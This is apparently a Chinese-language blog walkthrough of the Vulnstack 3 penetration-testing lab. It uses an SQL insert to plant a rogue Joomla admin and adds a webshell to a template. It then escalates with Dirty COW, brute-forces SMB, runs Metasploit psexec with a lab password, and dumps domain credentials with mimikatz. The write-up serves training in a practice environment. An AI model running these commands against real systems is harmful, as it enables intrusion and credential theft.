Vulnstack 3 域環境靶機實戰

環境搭建

將環境從官網上下載下來,只需要添加相應的一個VMNET2的網卡,且IP段爲192.168.93.0/24

需要進入centos重啓一下網卡,至少我是這麼做的才找到IP。

本文涉及知識點實操練習Vulnhub之Joomla  (本節課主要講解Vulnhub滲透測試實戰靶場關於Joomla CMS的綜合滲透練習,通過該實驗學習滲透測試的信息收集、漏洞掃描與利用、權限提升,最終獲取/root下的flag。)

拓撲圖

 新建DOC 文檔180.png

WEB入口

主機發現

nmap -sn 192.168.124.0/24

 新建DOC 文檔219.png

端口

nmap -sS 192.168.124.16

 新建DOC 文檔369.png

收集到3個端口,暫不做全部掃描。那就先看下網站首頁,如下。

 新建DOC 文檔402.png

web站點

是一個joomla的web頁面,順手一個administrator放在url後面,看到後臺,看到後臺,看到後臺。我還是比較樂觀的人,總想去嘗試嘗試一兩個弱口令。現實總會給我一記響亮的耳光,失敗告終。

 新建DOC 文檔510.png

只好掏出dirsearch,然後掃描下目錄:

 新建DOC 文檔535.png

這是以php~結尾的後綴名,應該不會被當成php執行,所以,

 新建DOC 文檔568.png

這個時候,就可以連接數據庫了,那就找密碼進後臺。

 新建DOC 文檔595.png

難道還是想我爆破?如果讓我爆破,那這必然是個弱口令。先去網上子彈(字典),掏出大菠蘿(john)就是一頓掃。子彈打完了,發現敵人絲毫不動,那,那宣告失敗吧。都說失敗是成功的爹。接着換思路,就是在本地搭建一個一模一樣的。然後將自己mysql裏的password字段複製到目標數據庫中去或者添加一個新用戶,太懶是原罪。然後,在網上找到直接添加到數據庫的方法,在https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

 新建DOC 文檔951.png

改成目標機器上的表名就可以了:

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

# 這裏就是添加了一個admin2的用戶,密碼爲secret

 新建DOC 文檔1351.png

雖然密碼格式不一樣,但是依然能進後臺。

 新建DOC 文檔1373.png

在模板處可以修改網站源代碼:Extensions-->Templates,在index.php中插入一句話,保存。

 新建DOC 文檔1433.png

 新建DOC 文檔1435.png

該亮出尚方寶劍——蟻劍了,致命一擊進入內網了。然後就翻車了

 新建DOC 文檔1467.png

這,,,原來是被禁用了危險函數,雖然不能執行命令,但是能看到php版本,是php7的。然後發現蟻劍有專門的繞過disable_function的插件,姿勢不錯,有點狐氣。然後針對php7的繞過挨個挨個試。

 新建DOC 文檔1572.png

繞過了會彈出一個新的交互式shell界面

 新建DOC 文檔1595.png

內網滲透

權限太低,是個www-data的權限。相信經過一番努力使用各種姿勢提權,總會絕望的。那就只能是自己沒有做好信息收集,找:定時任務、/home、/etc/passwd、網站根目錄、/tmp目錄。最後在/tmp/mysql/test.txt中看到用戶名密碼

 新建DOC 文檔1729.png

但是並沒有在本機器上發現這個 wwwuser 的用戶。索性嘗試下,又不犯罪。

 新建DOC 文檔1770.png

竟然成功了?猜測應該做了轉發將http請求轉到內網的主機上,有內網就可以繼續滲透。

 新建DOC 文檔1814.png

而使用ssh連接的主機的網卡,有三個,一個連接外網,一個連接內網。

 新建DOC 文檔1850.png

然後接着提權這臺外網的主機,很順利,看樣子是有備而來。看了下內核爲2.6.32 並且是centos的操作系統,直接使用髒牛提權成功。

 新建DOC 文檔1919.png

 

獲取一個msf會話,接着滲透。

 獲取msf會話

後滲透

添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.93.0/255.255.255.0

 添加路由

探測內網主機的存活

# 針對windows
use auxiliary/scanner/smb/smb_version 

# linux 
use auxiliary/scanner/discovery/arp_sweep  用這個沒有探測出windows主機

最終所有主機如下

 所有主機

三個windows,兩個使用ms17-010,未果。都沒能得到會話。

 沒能得到會話

啊,這....。最後借鑑了下別人的方法,原來是爆破。字典不夠強大,最後還是將密碼添加到字典中去了(無可奈何)。假如說我爆破出來了

use auxiliary/scanner/smb/smb_login

set SMBUSER administrator

set PASS_FILE /root/桌面/passlist

 獲取會話

獲取會話。目前的情況是windows在內網,添加的路由是把攻擊機帶入到內網,使用reverse_tcp是連接不上了,只能正向連接。

use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/bind_tcp

set rhosts 192.168.93.30

set smbuser administrator

set smbpass 123qwe!ASD

然後拿到兩個會話,這個exploit需要多嘗試幾次,纔行。

 exploit拿到會話

查看是否在域環境

meterpreter > sysinfo

 meterpreter > sysinfo

拿下域控

在server2008上發現域控登錄後的記錄,然後使用 mimikatz 獲取到明文域控密碼。

load mimikatz

mimikatz_command -f privilege::debug

mimikatz_command -f sekurlsa::logonPasswords

 新建DOC 文檔2833.png

得到域管理員賬號密碼。由於密碼的特殊性,嘗試使用wmiexec.py一直沒成功,兩個!!在linux是特殊符號,表示重新執行上一條命令。然後通過下面方法拿到shell

當前用戶爲

 當前用戶

 用戶信息

遠程連接

run post/windows/manage/enable_rdp 

proxychains rdesktop 192.168.93.20

 遠程鏈接

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章